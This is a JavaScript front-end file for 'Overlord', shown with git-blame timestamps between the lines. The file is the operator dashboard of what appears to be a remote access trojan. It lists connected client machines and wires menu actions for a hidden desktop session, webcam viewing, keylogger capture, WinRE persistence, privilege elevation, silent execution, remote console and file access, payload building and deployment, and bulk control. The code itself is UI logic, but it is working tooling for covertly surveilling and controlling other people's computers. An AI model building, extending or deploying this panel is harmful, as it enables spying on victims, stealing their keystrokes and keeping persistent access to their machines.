2026-03-05 00:04:26 -06:00
import { state } from "./state.js" ;
import { debounce } from "./utils.js" ;
import { createRenderer } from "./render.js" ;
import { openMenu , closeMenu , openModal , wireModalClose , menu } from "./ui.js" ;
import {
registerRenderer ,
loadWithOptions ,
startAutoRefresh ,
sendCommand ,
requestPreview ,
requestThumbnail ,
2026-04-13 20:02:58 -05:00
markManualDisconnect ,
2026-03-05 00:04:26 -06:00
} from "./data.js" ;
const grid = document . getElementById ( "grid" );
const totalPill = document . getElementById ( "total-pill" );
const pageLabel = document . getElementById ( "page-label" );
const prevBtn = document . getElementById ( "prev" );
const nextBtn = document . getElementById ( "next" );
const searchInput = document . getElementById ( "search" );
const sortSelect = document . getElementById ( "sort" );
const filterStatusSelect = document . getElementById ( "filter-status" );
const filterOsSelect = document . getElementById ( "filter-os" );
2026-04-14 19:38:27 -05:00
const filterGroupSelect = document . getElementById ( "filter-group" );
2026-03-05 00:04:26 -06:00
const showOfflineToggle = document . getElementById ( "toggle-offline" );
const selectAllBtn = document . getElementById ( "select-all" );
const clearSelectionBtn = document . getElementById ( "clear-selection" );
const logoutBtn = document . getElementById ( "logout-btn" );
const usernameDisplay = document . getElementById ( "username-display" );
const roleBadge = document . getElementById ( "role-badge" );
const usersLink = document . getElementById ( "users-link" );
const buildLink = document . getElementById ( "build-link" );
const deployLink = document . getElementById ( "deploy-link" );
const bulkToolbar = document . getElementById ( "bulk-toolbar" );
const selectedCountSpan = document . getElementById ( "selected-count" );
const bulkScreenshotBtn = document . getElementById ( "bulk-screenshot" );
const bulkDisconnectBtn = document . getElementById ( "bulk-disconnect" );
const bulkUninstallBtn = document . getElementById ( "bulk-uninstall" );
const bulkClearBtn = document . getElementById ( "bulk-clear" );
2026-04-14 21:56:18 -05:00
const bulkGroupBtn = document . getElementById ( "bulk-group" );
2026-05-15 18:29:25 -05:00
const bulkMuteBtn = document . getElementById ( "bulk-mute" );
const bulkUnmuteBtn = document . getElementById ( "bulk-unmute" );
2026-03-12 12:05:42 -05:00
const serverVersionText = document . getElementById ( "server-version-text" );
2026-03-05 00:04:26 -06:00
const selectedClients = new Set ();
let lastNonOnlineStatus = "all" ;
2026-03-30 22:21:50 -05:00
const PREF_FILTER_STATUS_KEY = "overlord_filter_status" ;
2026-03-30 22:24:26 -05:00
const PREF_SORT_KEY = "overlord_sort" ;
const PREF_FILTER_OS_KEY = "overlord_filter_os" ;
const PREF_FILTER_COUNTRY_KEY = "overlord_filter_country" ;
2026-04-14 19:38:27 -05:00
const PREF_FILTER_GROUP_KEY = "overlord_filter_group" ;
2026-03-05 00:04:26 -06:00
let currentUser = null ;
let contextCard = null ;
let availableOsList = new Set ();
2026-03-12 12:05:42 -05:00
function setServerVersionLabel ( version ) {
if ( ! serverVersionText ) return ;
serverVersionText . textContent = "Server version: " ;
const value = document . createElement ( "span" );
value . className = "server-version-number" ;
value . textContent = version ;
serverVersionText . appendChild ( value );
}
async function loadServerVersion () {
if ( ! serverVersionText ) return ;
try {
const res = await fetch ( "/api/version" , { credentials : "include" });
if ( ! res . ok ) {
serverVersionText . textContent = "Server version: unavailable" ;
return ;
}
const payload = await res . json ();
const version = typeof payload ? . version === "string" && payload . version . trim ()
? payload . version . trim ()
: "unknown" ;
setServerVersionLabel ( version );
} catch {
serverVersionText . textContent = "Server version: unavailable" ;
}
}
2026-03-05 00:04:26 -06:00
const setContext = ( id ) => {
contextCard = id ;
};
const clearContext = () => {
contextCard = null ;
};
2026-05-05 19:31:55 -05:00
let _pluginCache = null ;
let _pluginCacheAge = 0 ;
const PLUGIN_CACHE_TTL = 30_000 ;
async function refreshPluginCache () {
try {
const res = await fetch ( "/api/plugins" );
if ( ! res . ok ) return ;
const data = await res . json ();
_pluginCache = Array . isArray ( data . plugins ) ? data . plugins : [];
_pluginCacheAge = Date . now ();
} catch {}
}
function getCachedPlugins () {
if ( _pluginCache && Date . now () - _pluginCacheAge < PLUGIN_CACHE_TTL ) {
return _pluginCache ;
}
return null ;
}
2026-03-06 18:32:16 -06:00
function detectClientPlatform ( clientId ) {
if ( ! clientId ) {
return "unknown" ;
}
const selectorId =
typeof CSS !== "undefined" && typeof CSS . escape === "function"
? CSS . escape ( clientId )
: clientId ;
2026-05-09 20:47:44 -05:00
const card = document . querySelector ( `[data-client-row][data-id=" ${ selectorId } "]` );
2026-03-06 18:32:16 -06:00
const os = String ( card ? . dataset ? . os || "" ). toLowerCase ();
if ( os . includes ( "windows" )) return "windows" ;
if ( os . includes ( "darwin" ) || os . includes ( "mac" )) return "mac" ;
if ( os . includes ( "linux" )) return "linux" ;
return "unknown" ;
}
2026-03-10 19:30:51 -05:00
function getClientCard ( clientId ) {
if ( ! clientId ) return null ;
const selectorId =
typeof CSS !== "undefined" && typeof CSS . escape === "function"
? CSS . escape ( clientId )
: clientId ;
2026-05-09 20:47:44 -05:00
return document . querySelector ( `[data-client-row][data-id=" ${ selectorId } "]` );
2026-03-10 19:30:51 -05:00
}
2026-05-08 22:55:41 -05:00
window . __uninstallingClientIds = window . __uninstallingClientIds || new Set ();
function flipFallAndRemove ( clientId , { delayMs = 0 } = {}) {
const card = getClientCard ( clientId );
if ( ! card || card . classList . contains ( "card-uninstalling" )) return ;
window . __uninstallingClientIds . add ( clientId );
if ( delayMs > 0 ) card . style . animationDelay = ` ${ delayMs } ms` ;
card . classList . add ( "card-uninstalling" );
let removed = false ;
const cleanup = () => {
if ( removed ) return ;
removed = true ;
card . remove ();
setTimeout (() => window . __uninstallingClientIds . delete ( clientId ), 2500 );
};
card . addEventListener ( "animationend" , cleanup , { once : true });
setTimeout ( cleanup , 1100 + delayMs + 400 );
}
2026-03-13 23:46:42 -05:00
function openTagNoteEditor ( clientId , currentTag , currentNote ) {
return new Promise (( resolve ) => {
const overlay = document . createElement ( "div" );
overlay . className =
"fixed inset-0 z-[10001] bg-black/70 backdrop-blur-sm flex items-center justify-center p-4" ;
overlay . innerHTML = `
<div class="w-full max-w-xl rounded-xl border border-slate-700 bg-slate-900 p-5 shadow-2xl">
<h3 class="text-lg font-semibold text-slate-100">Custom Tag</h3>
<p id="tag-editor-client" class="mt-1 text-sm text-slate-400"></p>
<label class="mt-4 block text-sm text-slate-300">Tag</label>
<input id="tag-editor-input" type="text" class="mt-1 w-full rounded-lg border border-slate-600 bg-slate-950 px-3 py-2 text-slate-100 focus:outline-none focus:ring-2 focus:ring-blue-600" placeholder="e.g. VIP, Priority, Finance">
<label class="mt-4 block text-sm text-slate-300">Note</label>
<textarea id="tag-editor-note" class="mt-1 min-h-[220px] w-full rounded-lg border border-slate-600 bg-slate-950 px-3 py-2 text-slate-100 focus:outline-none focus:ring-2 focus:ring-blue-600" placeholder="Write as much as you need. No note length limit."></textarea>
<div class="mt-4 flex items-center justify-between gap-2">
<button id="tag-editor-clear" class="rounded-lg border border-rose-700 bg-rose-900/50 px-3 py-2 text-sm text-rose-100 hover:bg-rose-800">Clear</button>
<div class="flex items-center gap-2">
<button id="tag-editor-cancel" class="rounded-lg border border-slate-600 bg-slate-800 px-3 py-2 text-sm text-slate-100 hover:bg-slate-700">Cancel</button>
<button id="tag-editor-save" class="rounded-lg border border-blue-700 bg-blue-700 px-3 py-2 text-sm text-white hover:bg-blue-600">Save</button>
</div>
</div>
</div>
` ;
const clientLabel = overlay . querySelector ( "#tag-editor-client" );
if ( clientLabel ) clientLabel . textContent = clientId ;
const tagInput = overlay . querySelector ( "#tag-editor-input" );
if ( tagInput ) tagInput . value = currentTag || "" ;
const textarea = overlay . querySelector ( "#tag-editor-note" );
textarea . value = currentNote || "" ;
const closeWith = ( result ) => {
overlay . remove ();
resolve ( result );
};
overlay . addEventListener ( "click" , ( e ) => {
if ( e . target === overlay ) closeWith ( null );
});
overlay
. querySelector ( "#tag-editor-cancel" )
? . addEventListener ( "click" , () => closeWith ( null ));
overlay
. querySelector ( "#tag-editor-clear" )
? . addEventListener ( "click" , () => closeWith ({ tag : "" , note : "" }));
overlay . querySelector ( "#tag-editor-save" ) ? . addEventListener ( "click" , () => {
const tag = String ( overlay . querySelector ( "#tag-editor-input" ) ? . value || "" ). trim ();
const note = String ( overlay . querySelector ( "#tag-editor-note" ) ? . value || "" );
closeWith ({ tag , note });
});
document . body . appendChild ( overlay );
overlay . querySelector ( "#tag-editor-input" ) ? . focus ();
});
}
2026-03-10 19:30:51 -05:00
function isClientOnline ( clientId ) {
return getClientCard ( clientId ) ? . dataset . online === "true" ;
}
2026-03-06 18:32:16 -06:00
function applyMenuSupportRules ( clientId ) {
const platform = detectClientPlatform ( clientId );
const isWindows = platform === "windows" ;
2026-04-18 14:08:35 -05:00
const isOnline = isClientOnline ( clientId );
2026-03-06 18:32:16 -06:00
const setAvailability = ( btn , enabled , reason ) => {
if ( ! btn ) return ;
btn . disabled = ! enabled ;
btn . setAttribute ( "aria-disabled" , String ( ! enabled ));
btn . classList . toggle ( "opacity-50" , ! enabled );
btn . classList . toggle ( "cursor-not-allowed" , ! enabled );
btn . classList . toggle ( "hover:bg-slate-700" , enabled );
btn . classList . toggle ( "hover:bg-slate-800/50" , ! enabled );
btn . title = enabled ? "" : reason ;
};
2026-03-12 14:22:03 -05:00
const hvncBtn = menu . querySelector ( '[data-open="Backstage"]' );
2026-04-18 14:08:35 -05:00
setAvailability ( hvncBtn , isOnline && isWindows , isOnline ? "Backstage is only supported on Windows clients." : "Client is offline" );
2026-03-06 18:32:16 -06:00
2026-03-08 22:31:11 -05:00
const webcamBtn = menu . querySelector ( '[data-open="webcam"]' );
2026-04-18 14:08:35 -05:00
setAvailability ( webcamBtn , isOnline && isWindows , isOnline ? "Webcam viewer is only supported on Windows clients." : "Client is offline" );
2026-03-08 22:31:11 -05:00
2026-03-06 18:32:16 -06:00
const keyloggerBtn = menu . querySelector ( '[data-open="keylogger"]' );
setAvailability (
keyloggerBtn ,
2026-04-18 14:08:35 -05:00
isOnline && isWindows ,
isOnline ? "Keylogger capture is only fully supported on Windows clients." : "Client is offline" ,
2026-03-06 18:32:16 -06:00
);
2026-04-13 10:49:36 -05:00
2026-04-13 18:31:04 -05:00
const winreBtn = menu . querySelector ( '[data-open="winre"]' );
if ( winreBtn ) {
2026-04-18 14:08:35 -05:00
setAvailability ( winreBtn , isOnline && isWindows , isOnline ? "WinRE Persistence is only supported on Windows clients." : "Client is offline" );
2026-04-13 18:31:04 -05:00
const label = winreBtn . querySelector ( "span" );
if ( label ) label . style . textDecoration = isWindows ? "" : "line-through" ;
}
2026-04-13 10:49:36 -05:00
const elevateBtn = menu . querySelector ( '[data-action="elevate"]' );
if ( elevateBtn ) {
2026-04-13 13:38:13 -05:00
elevateBtn . style . display = platform === "mac" ? "" : "none" ;
2026-04-18 14:08:35 -05:00
if ( platform === "mac" ) setAvailability ( elevateBtn , isOnline , "Client is offline" );
2026-04-13 10:49:36 -05:00
}
2026-04-18 14:08:35 -05:00
setAvailability ( menu . querySelector ( '[data-open="console"]' ), isOnline , "Client is offline" );
setAvailability ( menu . querySelector ( '[data-open="remotedesktop"]' ), isOnline , "Client is offline" );
setAvailability ( menu . querySelector ( '[data-open="voice"]' ), isOnline , "Client is offline" );
setAvailability ( menu . querySelector ( '[data-open="processes"]' ), isOnline , "Client is offline" );
setAvailability ( menu . querySelector ( '[data-open="files"]' ), isOnline , "Client is offline" );
const silentExecBtn = menu . querySelector ( '[data-open="silent-exec"]' );
if ( silentExecBtn && ! silentExecBtn . classList . contains ( "hidden" )) {
setAvailability ( silentExecBtn , isOnline , "Client is offline" );
}
[ "remote-access" , "monitoring" , "system" ]. forEach ( groupId => {
setAvailability ( menu . querySelector ( `[data-group-toggle=" ${ groupId } "]` ), isOnline , "Client is offline" );
});
[ "ping" , "reconnect" , "disconnect" , "uninstall" ]. forEach ( action => {
setAvailability ( menu . querySelector ( `[data-action=" ${ action } "]` ), isOnline , "Client is offline" );
});
2026-03-06 18:32:16 -06:00
}
2026-03-05 00:04:26 -06:00
async function loadCurrentUser () {
2026-03-12 12:05:42 -05:00
loadServerVersion ();
2026-03-05 00:04:26 -06:00
try {
const res = await fetch ( "/api/auth/me" );
if ( res . ok ) {
currentUser = await res . json ();
if ( currentUser && currentUser . username && currentUser . role ) {
if ( ! usernameDisplay || ! roleBadge ) {
return ;
}
usernameDisplay . textContent = currentUser . username ;
const roleBadges = {
admin : '<i class="fa-solid fa-crown mr-1"></i>Admin' ,
operator : '<i class="fa-solid fa-sliders mr-1"></i>Operator' ,
viewer : '<i class="fa-solid fa-eye mr-1"></i>Viewer' ,
};
if ( roleBadges [ currentUser . role ]) {
roleBadge . innerHTML = roleBadges [ currentUser . role ];
} else {
roleBadge . textContent = currentUser . role || "" ;
}
if ( currentUser . role === "admin" ) {
roleBadge . classList . add (
"bg-purple-900/50" ,
"text-purple-300" ,
"border" ,
"border-purple-800" ,
);
} else if ( currentUser . role === "operator" ) {
roleBadge . classList . add (
"bg-blue-900/50" ,
"text-blue-300" ,
"border" ,
"border-blue-800" ,
);
} else {
roleBadge . classList . add (
"bg-slate-700" ,
"text-slate-300" ,
"border" ,
"border-slate-600" ,
);
}
if ( currentUser . role === "admin" ) {
usersLink ? . classList . remove ( "hidden" );
}
2026-03-25 10:18:22 -05:00
if ( currentUser . role === "admin" && ! localStorage . getItem ( "overlord_settings_exported" )) {
localStorage . setItem ( "overlord_settings_exported" , "1" );
try {
const expRes = await fetch ( "/api/settings/export" , { credentials : "include" });
if ( expRes . ok ) {
const blob = await expRes . blob ();
const disposition = expRes . headers . get ( "Content-Disposition" ) || "" ;
const match = disposition . match ( /filename="?([^"]+)"?/ );
const filename = match ? match [ 1 ] : "overlord-settings.json" ;
const dlUrl = URL . createObjectURL ( blob );
const a = document . createElement ( "a" );
a . href = dlUrl ;
a . download = filename ;
document . body . appendChild ( a );
a . click ();
document . body . removeChild ( a );
URL . revokeObjectURL ( dlUrl );
}
} catch {}
}
2026-03-12 21:26:53 -05:00
if ( currentUser . role === "admin" || currentUser . role === "operator" || currentUser . canBuild ) {
2026-03-05 00:04:26 -06:00
buildLink ? . classList . remove ( "hidden" );
}
if ( currentUser . role === "admin" ) {
const pluginsLink = document . getElementById ( "plugins-link" );
pluginsLink ? . classList . remove ( "hidden" );
deployLink ? . classList . remove ( "hidden" );
document . getElementById ( "menu-silent-exec" ) ? . classList . remove ( "hidden" );
}
const scriptsLink = document . getElementById ( "scripts-link" );
if ( currentUser . role !== "viewer" ) {
scriptsLink ? . classList . remove ( "hidden" );
}
initializeRenderer ();
}
initializeRenderer ();
2026-05-05 19:31:55 -05:00
refreshPluginCache ();
2026-03-05 00:04:26 -06:00
} else {
2026-04-13 20:26:03 -05:00
window . location . href = "/" ;
2026-03-05 00:04:26 -06:00
}
} catch ( err ) {
console . error ( "Failed to load user:" , err );
}
}
2026-04-14 09:56:20 -05:00
function showPluginConfirmModal ( pluginId , clientId , sigInfo ) {
document . getElementById ( "plugin-confirm-modal" ) ? . remove ();
const isSigned = sigInfo && sigInfo . signed && sigInfo . valid ;
const statusText = isSigned
? `This plugin is signed but the signer's key is not trusted.`
: `This plugin is not signed and its origin cannot be verified.` ;
const fpText = sigInfo ? . fingerprint
? `Signer fingerprint: ${ sigInfo . fingerprint } `
: "No signature present" ;
const modal = document . createElement ( "div" );
modal . id = "plugin-confirm-modal" ;
modal . className = "fixed inset-0 z-50 flex items-center justify-center bg-black/60 backdrop-blur-sm" ;
modal . innerHTML = `
<div class="bg-slate-900 border border-slate-700 rounded-xl shadow-2xl max-w-md w-full mx-4 p-6">
<div class="flex items-center gap-3 mb-4">
<div class="w-10 h-10 rounded-full flex items-center justify-center ${ isSigned ? 'bg-yellow-900/60 text-yellow-400' : 'bg-orange-900/60 text-orange-400' } ">
<i class="fa-solid ${ isSigned ? 'fa-shield' : 'fa-shield-halved' } text-lg"></i>
</div>
<div>
<h3 class="font-semibold text-lg"> ${ isSigned ? 'Untrusted Plugin' : 'Unsigned Plugin' } </h3>
<p class="text-sm text-slate-400"> ${ pluginId } </p>
</div>
</div>
<p class="text-sm text-slate-300 mb-2"> ${ statusText } </p>
<p class="text-xs text-slate-500 font-mono mb-4"> ${ fpText } </p>
<p class="text-sm text-slate-300 mb-3">Type <strong class="text-white">confirm</strong> below to load this plugin:</p>
<input
id="plugin-confirm-input"
type="text"
placeholder="Type confirm…"
autocomplete="off"
class="w-full px-3 py-2 rounded-lg bg-slate-950 border border-slate-700 text-slate-100 text-sm placeholder-slate-500 focus:outline-none focus:border-emerald-600 mb-4"
/>
<div class="flex gap-3 justify-end">
<button id="plugin-confirm-cancel" class="px-4 py-2 rounded-lg border border-slate-600 text-slate-300 hover:bg-slate-800">Cancel</button>
<button id="plugin-confirm-load" disabled class="px-4 py-2 rounded-lg bg-emerald-900/40 border border-emerald-700/60 text-emerald-100 opacity-50 cursor-not-allowed">Load Anyway</button>
</div>
</div>
` ;
document . body . appendChild ( modal );
const input = document . getElementById ( "plugin-confirm-input" );
const loadBtn = document . getElementById ( "plugin-confirm-load" );
const cancelBtn = document . getElementById ( "plugin-confirm-cancel" );
input . addEventListener ( "input" , () => {
const match = input . value . trim (). toLowerCase () === "confirm" ;
loadBtn . disabled = ! match ;
loadBtn . classList . toggle ( "opacity-50" , ! match );
loadBtn . classList . toggle ( "cursor-not-allowed" , ! match );
loadBtn . classList . toggle ( "hover:bg-emerald-800/60" , match );
});
cancelBtn . addEventListener ( "click" , () => modal . remove ());
modal . addEventListener ( "click" , ( e ) => { if ( e . target === modal ) modal . remove (); });
loadBtn . addEventListener ( "click" , async () => {
if ( loadBtn . disabled ) return ;
loadBtn . disabled = true ;
loadBtn . textContent = "Loading…" ;
try {
const res = await fetch ( `/api/clients/ ${ clientId } /plugins/ ${ pluginId } /load` , {
method : "POST" ,
headers : { "Content-Type" : "application/json" },
body : JSON . stringify ({ confirmed : true }),
});
if ( ! res . ok ) {
const text = await res . text ();
alert ( `Plugin load failed: ${ text } ` );
} else {
window . open ( `/plugins/ ${ pluginId } ?clientId= ${ clientId } ` , "_blank" , "noopener" );
}
} catch {
alert ( "Plugin load failed" );
}
modal . remove ();
});
input . focus ();
}
2026-05-05 19:31:55 -05:00
function renderPluginMenu ( plugins ) {
const section = document . getElementById ( "plugin-section" );
const container = document . getElementById ( "plugin-menu" );
if ( ! section || ! container ) return ;
container . innerHTML = "" ;
const enabled = plugins . filter ( p => p . enabled !== false );
if ( ! enabled . length ) {
section . classList . add ( "hidden" );
return ;
}
section . classList . remove ( "hidden" );
for ( const plugin of enabled ) {
const btn = document . createElement ( "button" );
btn . className = "ctx-item ctx-plugin-item" ;
btn . dataset . plugin = plugin . id ;
btn . dataset . loaded = plugin . loaded ? "true" : "false" ;
if ( plugin . lastError ) {
btn . title = `Last error: ${ plugin . lastError } ` ;
}
const sig = plugin . signature ;
if ( sig && sig . signed && ! sig . valid ) {
btn . disabled = true ;
btn . setAttribute ( "aria-disabled" , "true" );
btn . title = "Plugin signature is invalid — cannot load" ;
}
const labelIcon = document . createElement ( "i" );
labelIcon . className =
"fa-solid fa-puzzle-piece ctx-icon " +
( plugin . loaded ? "text-emerald-400" : "text-fuchsia-400" );
btn . appendChild ( labelIcon );
const label = document . createElement ( "span" );
label . className = "ctx-plugin-label" ;
label . textContent = plugin . name || plugin . id ;
btn . appendChild ( label );
if ( sig ) {
const trustIcon = document . createElement ( "i" );
if ( sig . signed && ! sig . valid ) {
trustIcon . className = "fa-solid fa-shield-xmark ctx-plugin-trust text-red-400" ;
trustIcon . title = "Invalid signature" ;
} else if ( sig . signed && sig . valid && sig . trusted ) {
trustIcon . className = "fa-solid fa-shield-check ctx-plugin-trust text-emerald-400" ;
trustIcon . title = "Trusted" ;
} else if ( sig . signed && sig . valid && ! sig . trusted ) {
trustIcon . className = "fa-solid fa-shield ctx-plugin-trust text-yellow-400" ;
trustIcon . title = "Signed but untrusted" ;
} else {
trustIcon . className = "fa-solid fa-shield-halved ctx-plugin-trust text-orange-400" ;
trustIcon . title = "Unsigned" ;
}
btn . appendChild ( trustIcon );
}
const badge = document . createElement ( "span" );
badge . className = "ctx-plugin-badge" + ( plugin . loaded ? " is-loaded" : "" );
badge . textContent = plugin . loaded ? "loaded" : "available" ;
btn . appendChild ( badge );
container . appendChild ( btn );
if ( plugin . loaded ) {
const unloadBtn = document . createElement ( "button" );
unloadBtn . className = "ctx-item" ;
unloadBtn . dataset . pluginUnload = plugin . id ;
const unloadIcon = document . createElement ( "i" );
unloadIcon . className = "fa-solid fa-plug-circle-xmark ctx-icon text-red-400" ;
unloadBtn . appendChild ( unloadIcon );
const unloadText = document . createElement ( "span" );
unloadText . textContent = `Unload ${ plugin . name || plugin . id } ` ;
unloadBtn . appendChild ( unloadText );
container . appendChild ( unloadBtn );
}
}
}
2026-03-05 00:04:26 -06:00
async function loadPluginsForClient ( clientId ) {
const section = document . getElementById ( "plugin-section" );
const container = document . getElementById ( "plugin-menu" );
if ( ! section || ! container ) return ;
container . innerHTML = "" ;
section . classList . add ( "hidden" );
2026-05-05 19:31:55 -05:00
const cached = getCachedPlugins ();
if ( cached && cached . length ) {
renderPluginMenu ( cached );
}
2026-03-05 00:04:26 -06:00
try {
const res = await fetch ( `/api/clients/ ${ clientId } /plugins` );
if ( ! res . ok ) return ;
const data = await res . json ();
const plugins = Array . isArray ( data . plugins ) ? data . plugins : [];
2026-05-05 19:31:55 -05:00
renderPluginMenu ( plugins );
2026-03-05 00:04:26 -06:00
} catch {
2026-05-05 19:31:55 -05:00
// ignore — cache render is already showing
2026-03-05 00:04:26 -06:00
}
}
2026-05-09 20:47:44 -05:00
const PREF_LAYOUT_KEY = "overlord_layout" ;
let rendererSetLayout = null ;
function applyLayoutToggleUI ( layout ) {
document . querySelectorAll ( "#layout-toggle .layout-toggle-btn" ). forEach (( btn ) => {
const active = btn . dataset . layout === layout ;
btn . classList . toggle ( "is-active" , active );
btn . setAttribute ( "aria-pressed" , active ? "true" : "false" );
});
}
function setLayout ( layout ) {
const next = [ "rows" , "table" , "cards" ]. includes ( layout ) ? layout : "rows" ;
localStorage . setItem ( PREF_LAYOUT_KEY , next );
applyLayoutToggleUI ( next );
if ( rendererSetLayout ) rendererSetLayout ( next );
state . lastDigest = "" ;
loadWithOptions ({ force : true , reorder : true });
}
document . querySelectorAll ( "#layout-toggle .layout-toggle-btn" ). forEach (( btn ) => {
btn . addEventListener ( "click" , () => setLayout ( btn . dataset . layout ));
});
2026-03-05 00:04:26 -06:00
function initializeRenderer () {
2026-05-09 20:47:44 -05:00
const savedLayout = localStorage . getItem ( PREF_LAYOUT_KEY ) || "rows" ;
if ( grid ) grid . dataset . layout = [ "rows" , "table" , "cards" ]. includes ( savedLayout ) ? savedLayout : "rows" ;
applyLayoutToggleUI ( grid ? . dataset . layout || "rows" );
const { renderMerge , setLayout : rSetLayout } = createRenderer ({
2026-03-05 00:04:26 -06:00
grid ,
totalPill ,
pageLabel ,
openMenu : ( id , x , y ) => {
2026-03-06 18:32:16 -06:00
applyMenuSupportRules ( id );
2026-05-15 18:29:25 -05:00
const card = getClientCard ( id );
const notificationsMuted = card ? . dataset . notificationsMuted === "true" ;
openMenu ( id , x , y , setContext , { isOnline : isClientOnline ( id ), notificationsMuted });
2026-03-05 00:04:26 -06:00
loadPluginsForClient ( id );
},
openModal ,
requestPreview ,
requestThumbnail ,
2026-03-13 13:33:39 -05:00
pingClient : ( id ) => sendCommand ( id , "ping" ),
2026-03-05 00:04:26 -06:00
userRole : currentUser ? . role ,
});
2026-05-09 20:47:44 -05:00
rendererSetLayout = rSetLayout ;
2026-03-05 00:04:26 -06:00
registerRenderer ( renderMerge );
2026-04-14 19:38:27 -05:00
refreshGroupFilter ();
2026-03-05 00:04:26 -06:00
loadWithOptions ();
startAutoRefresh ();
if ( typeof anime !== "undefined" ) {
anime
. timeline ({ easing : "easeOutQuad" })
. add ({
2026-04-05 21:32:18 -05:00
targets : "main > div > div:first-child" ,
2026-03-05 00:04:26 -06:00
opacity : [ 0 , 1 ],
2026-04-05 21:32:18 -05:00
translateY : [ 15 , 0 ],
duration : 500 ,
2026-03-05 00:04:26 -06:00
})
. add (
{
targets : "main > div > div:nth-child(2)" ,
opacity : [ 0 , 1 ],
translateY : [ 15 , 0 ],
duration : 500 ,
},
"-=350" ,
);
}
}
if ( logoutBtn && ! logoutBtn . dataset . boundLogout ) {
logoutBtn . dataset . boundLogout = "true" ;
logoutBtn . addEventListener ( "click" , async () => {
if ( ! confirm ( "Are you sure you want to logout?" )) return ;
try {
const res = await fetch ( "/api/logout" , {
method : "POST" ,
headers : { "Content-Type" : "application/json" },
});
if ( res . ok ) {
window . location . href = "/" ;
} else {
alert ( "Logout failed. Please try again." );
}
} catch ( err ) {
console . error ( "Logout error:" , err );
alert ( "Logout failed. Please try again." );
}
});
}
wireModalClose ();
const debouncedSearch = debounce (() => {
state . page = 1 ;
state . lastDigest = "" ;
2026-03-17 00:42:57 -05:00
loadWithOptions ({ force : true , reorder : true });
2026-03-05 00:04:26 -06:00
}, 200 );
searchInput ? . addEventListener ( "input" , ( e ) => {
state . searchTerm = e . target . value ;
debouncedSearch ();
});
sortSelect ? . addEventListener ( "change" , ( e ) => {
state . sort = e . target . value ;
2026-03-30 22:24:26 -05:00
localStorage . setItem ( PREF_SORT_KEY , state . sort );
2026-03-05 00:04:26 -06:00
state . page = 1 ;
state . lastDigest = "" ;
2026-03-17 00:42:57 -05:00
loadWithOptions ({ force : true , reorder : true });
2026-03-05 00:04:26 -06:00
});
filterStatusSelect ? . addEventListener ( "change" , ( e ) => {
state . filterStatus = e . target . value ;
2026-03-30 22:21:50 -05:00
localStorage . setItem ( PREF_FILTER_STATUS_KEY , state . filterStatus );
2026-03-05 00:04:26 -06:00
if ( state . filterStatus === "online" ) {
if ( showOfflineToggle ) showOfflineToggle . checked = false ;
} else {
lastNonOnlineStatus = state . filterStatus ;
if ( showOfflineToggle ) showOfflineToggle . checked = true ;
}
state . page = 1 ;
state . lastDigest = "" ;
2026-03-17 00:42:57 -05:00
loadWithOptions ({ force : true , reorder : true });
2026-03-05 00:04:26 -06:00
});
filterOsSelect ? . addEventListener ( "change" , ( e ) => {
state . filterOs = e . target . value ;
2026-03-30 22:24:26 -05:00
localStorage . setItem ( PREF_FILTER_OS_KEY , state . filterOs );
2026-03-05 00:04:26 -06:00
state . page = 1 ;
state . lastDigest = "" ;
2026-03-17 00:42:57 -05:00
loadWithOptions ({ force : true , reorder : true });
2026-03-05 00:04:26 -06:00
});
2026-04-14 19:38:27 -05:00
filterGroupSelect ? . addEventListener ( "change" , ( e ) => {
state . filterGroup = e . target . value ;
localStorage . setItem ( PREF_FILTER_GROUP_KEY , state . filterGroup );
state . page = 1 ;
state . lastDigest = "" ;
loadWithOptions ({ force : true , reorder : true });
});
2026-04-19 00:20:35 -05:00
import ( "./country-picker.js" ). then (({ initCountryPicker }) => {
initCountryPicker (( code ) => {
state . filterCountry = code ;
localStorage . setItem ( PREF_FILTER_COUNTRY_KEY , code );
state . page = 1 ;
state . lastDigest = "" ;
loadWithOptions ({ force : true , reorder : true });
}, localStorage . getItem ( PREF_FILTER_COUNTRY_KEY ) || "all" );
});
2026-03-17 00:11:25 -05:00
2026-03-30 22:21:50 -05:00
( function restoreFilterStatus () {
2026-03-30 22:24:26 -05:00
const savedStatus = localStorage . getItem ( PREF_FILTER_STATUS_KEY );
const validStatuses = [ "all" , "online" , "offline" ];
if ( savedStatus && validStatuses . includes ( savedStatus )) {
state . filterStatus = savedStatus ;
if ( filterStatusSelect ) filterStatusSelect . value = savedStatus ;
if ( showOfflineToggle ) showOfflineToggle . checked = savedStatus !== "online" ;
if ( savedStatus !== "online" ) lastNonOnlineStatus = savedStatus ;
}
const savedSort = localStorage . getItem ( PREF_SORT_KEY );
2026-04-14 19:38:27 -05:00
const validSorts = [ "stable" , "last_seen_desc" , "host_asc" , "ping_asc" , "ping_desc" , "country_asc" , "country_desc" , "group_asc" , "group_desc" ];
2026-03-30 22:24:26 -05:00
if ( savedSort && validSorts . includes ( savedSort )) {
state . sort = savedSort ;
if ( sortSelect ) sortSelect . value = savedSort ;
}
const savedOs = localStorage . getItem ( PREF_FILTER_OS_KEY );
if ( savedOs ) {
state . filterOs = savedOs ;
if ( filterOsSelect ) filterOsSelect . value = savedOs ;
}
const savedCountry = localStorage . getItem ( PREF_FILTER_COUNTRY_KEY );
if ( savedCountry ) {
state . filterCountry = savedCountry ;
2026-03-30 22:21:50 -05:00
}
2026-04-14 19:38:27 -05:00
const savedGroup = localStorage . getItem ( PREF_FILTER_GROUP_KEY );
if ( savedGroup ) {
state . filterGroup = savedGroup ;
if ( filterGroupSelect ) filterGroupSelect . value = savedGroup ;
}
2026-03-30 22:21:50 -05:00
})();
2026-03-05 00:04:26 -06:00
showOfflineToggle ? . addEventListener ( "change" , ( e ) => {
if ( e . target . checked ) {
state . filterStatus = lastNonOnlineStatus || "all" ;
} else {
if ( state . filterStatus !== "online" ) {
lastNonOnlineStatus = state . filterStatus ;
}
state . filterStatus = "online" ;
}
2026-03-30 22:21:50 -05:00
localStorage . setItem ( PREF_FILTER_STATUS_KEY , state . filterStatus );
2026-03-05 00:04:26 -06:00
if ( filterStatusSelect ) {
filterStatusSelect . value = state . filterStatus ;
}
state . page = 1 ;
state . lastDigest = "" ;
2026-03-17 00:42:57 -05:00
loadWithOptions ({ force : true , reorder : true });
2026-03-05 00:04:26 -06:00
});
function updateBulkToolbar () {
selectedCountSpan . textContent = selectedClients . size ;
if ( selectedClients . size > 0 ) {
bulkToolbar ? . classList . remove ( "hidden" );
} else {
bulkToolbar ? . classList . add ( "hidden" );
}
}
function toggleClientSelection ( clientId ) {
const checkbox = document . querySelector (
`.client-checkbox[data-id=" ${ clientId } "]` ,
);
